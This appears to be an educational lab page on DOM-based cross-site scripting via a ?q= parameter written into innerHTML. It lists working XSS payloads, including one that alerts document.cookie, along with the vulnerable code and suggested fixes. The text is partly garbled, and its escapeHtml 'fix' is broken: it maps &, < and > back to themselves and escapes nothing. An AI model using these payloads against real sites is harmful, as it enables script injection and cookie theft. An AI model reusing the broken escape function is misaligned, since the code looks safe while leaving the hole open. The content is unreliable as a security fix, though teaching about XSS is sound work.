The page reads the ?q= parameter from the URL and injects it directly into the DOM using innerHTML — NO sanitization.
Goal: Execute JavaScript (pop an alert box) by modifying the URL parameter.
(none)
element.innerHTML = userInput<img src=x onerror=alert(1)> as the parameter.<body onload=alert(document.domain)>Working Payloads (add to URL after ?q=):
?q=<img src=x onerror=alert('XSS')> — Image error event (WORKS)?q=<body onload=alert(document.cookie)> — Body onload (WORKS)?q=<svg onload=alert(1)> — SVG onload (WORKS)?q=<input onfocus=alert(1) autofocus> — Input autofocus🔧 Why it works:
The application takes the URL parameter ?q=... and uses innerHTML to render it directly. Because there's no escaping or filtering, the browser parses any HTML/JavaScript injected.
// Vulnerable JavaScript code:
const query = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = query;
How to Fix (Secure Code):
// Method 1: Use textContent instead of innerHTML
const query = new URLSearchParams(location.search).get('q');
document.getElementById('output').textContent = query;
// Method 2: Escape HTML entities
function escapeHtml(str) {
return str.replace(/[&<>]/g, function(m) {
if (m === '&') return '&';
if (m === '<') return '<';
if (m === '>') return '>';
return m;
});
}
document.getElementById('output').innerHTML = escapeHtml(query);
This lab runs entirely in your browser — safe for educational purposes.